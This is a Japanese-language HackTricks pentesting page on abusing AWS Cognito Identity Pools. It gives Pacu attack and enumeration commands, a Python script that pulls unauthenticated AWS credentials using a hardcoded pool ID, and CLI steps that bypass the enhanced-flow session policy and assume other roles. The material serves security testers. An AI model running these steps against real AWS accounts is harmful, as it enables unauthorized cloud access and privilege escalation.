Cognito Identity Pools

Reading time: 12 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Identity poolsは、ユーザーが一時的な資格情報を取得できるようにする重要な役割を果たします。これらの資格情報は、Amazon S3やDynamoDBを含むさまざまなAWSサービスにアクセスするために不可欠です。Identity poolsの注目すべき機能は、匿名のゲストユーザーとユーザー認証のためのさまざまなアイデンティティプロバイダーの両方をサポートしていることです。サポートされているアイデンティティプロバイダーには以下が含まれます:

  • Amazon Cognitoユーザープール
  • Facebook、Google、Login with Amazon、Sign in with Appleなどのソーシャルサインインオプション
  • OpenID Connect (OIDC)に準拠したプロバイダー
  • SAML (Security Assertion Markup Language)アイデンティティプロバイダー
  • 開発者認証されたアイデンティティ
python
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Identity Pool セッションを生成するには、まず Identity ID を生成する必要があります。この Identity ID は そのユーザーのセッションの識別子です。これらの識別子は、最大 20 のデータセットを持ち、最大 1MB のキーと値のペアを保存できます。

これは ユーザーの情報を保持するのに便利です(常に同じ Identity ID を使用するユーザー)。

さらに、サービス cognito-syncこの情報を管理および同期することを可能にするサービスです(データセット内で、ストリームや SNS メッセージで情報を送信するなど)。

Tools for pentesting

  • Pacu は、AWS のエクスプロイトフレームワークで、現在 "cognito__enum" および "cognito__attack" モジュールが含まれており、アカウント内のすべての Cognito アセットの列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けし、ユーザー作成(MFA サポートを含む)や、変更可能なカスタム属性、使用可能なアイデンティティプールの資格情報、ID トークン内の引き受け可能なロールに基づく特権昇格を自動化します。

モジュールの機能の説明については、ブログ記事のパート 2 を参照してください。インストール手順については、メインの Pacu ページを参照してください。

Usage

サンプル cognito__attack 使用法は、特定のアイデンティティプールおよびユーザープールクライアントに対してユーザー作成とすべての特権昇格ベクターを試みるものです:

bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

サンプル cognito__enum を使用して、現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集します:

bash
Pacu (new:test) > run cognito__enum
  • Cognito Scanner は、不要なアカウント作成やアイデンティティプールのエスカレーションを含む、Cognito に対するさまざまな攻撃を実装した Python の CLI ツールです。

インストール

bash
$ pip install cognito-scanner

使用方法

bash
$ cognito-scanner --help

For more information check https://github.com/padok-team/cognito-scanner

IAMロールへのアクセス

認証されていない

攻撃者がCognitoアプリでAWSクレデンシャルを取得するために認証されていないユーザーとして知っておく必要がある唯一のことはアイデンティティプールIDであり、このIDはハードコーディングされている必要があります。IDは次のようになります: eu-west-1:098e5341-8364-038d-16de-1865e435da3b(ブルートフォース攻撃はできません)。

tip

IAM Cognitoの認証されていないロールは、デフォルトで Cognito_<Identity Pool name>Unauth_Role と呼ばれます

ハードコーディングされたアイデンティティプールIDが見つかり、認証されていないユーザーを許可している場合、次の方法でAWSクレデンシャルを取得できます:

python
import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

次のaws cli コマンドを使用することもできます:

bash
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

warning

デフォルトでは、認証されていないcognito ユーザーは、ポリシーを介して割り当てられていても、いかなる権限も持つことができません。次のセクションを確認してください。

強化された認証フローと基本認証フロー

前のセクションでは、デフォルトの強化された認証フローに従いました。このフローは、生成されたIAMロールセッションに制限的なセッションポリシーを設定します。このポリシーは、セッションがこのリストのサービスを使用することを許可するだけです(ロールが他のサービスへのアクセスを持っていても)。

しかし、これを回避する方法があります。アイデンティティプールに「基本(クラシック)フロー」が有効になっている場合、ユーザーはそのフローを使用してセッションを取得でき、その制限的なセッションポリシーは適用されません

bash
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

warning

このエラーが表示される場合、**基本フローが有効になっていない(デフォルト)**ためです。

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

IAM資格情報のセットを持っている場合は、どのアクセス権があるかを確認し権限を昇格させることを試みてください。

認証済み

note

認証済みユーザーには異なる権限が付与される可能性があるため、もしアプリ内でサインアップできる場合は、それを試みて新しい資格情報を取得してください。

認証済みユーザーがIdentity Poolにアクセスするための役割も存在する可能性があります。

そのためには、アイデンティティプロバイダーへのアクセスが必要です。もしそれがCognitoユーザープールであれば、デフォルトの動作を悪用して自分で新しいユーザーを作成できるかもしれません

tip

IAM Cognito認証済みロールはデフォルトで Cognito_<Identity Pool name>Auth_Role と呼ばれます。

いずれにせよ、以下の例は、Identity Poolにアクセスするために使用されるCognitoユーザープールにすでにログインしていることを前提としています(他のタイプのアイデンティティプロバイダーも構成されている可能性があることを忘れないでください)。

aws cognito-identity get-id \
--identity-pool-id  \
--logins cognito-idp..amazonaws.com/=

# 前のコマンドの応答からidentity_idを取得
aws cognito-identity get-credentials-for-identity \
--identity-id  \
--logins cognito-idp..amazonaws.com/=


# IdTokenにはユーザーがUser Poolグループのためにアクセスできる役割が含まれています
# --custom-role-arnを使用して特定の役割の資格情報を取得します
aws cognito-identity get-credentials-for-identity \
--identity-id  \
    --custom-role-arn  \
    --logins cognito-idp..amazonaws.com/=

warning

ユーザーがログインしているアイデンティティプロバイダーやユーザー(クレームを使用)に応じて、異なるIAMロールを構成することが可能です。したがって、同じまたは異なるプロバイダーを通じて異なるユーザーにアクセスできる場合は、すべてのユーザーのIAMロールにログインしてアクセスする価値があるかもしれません

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする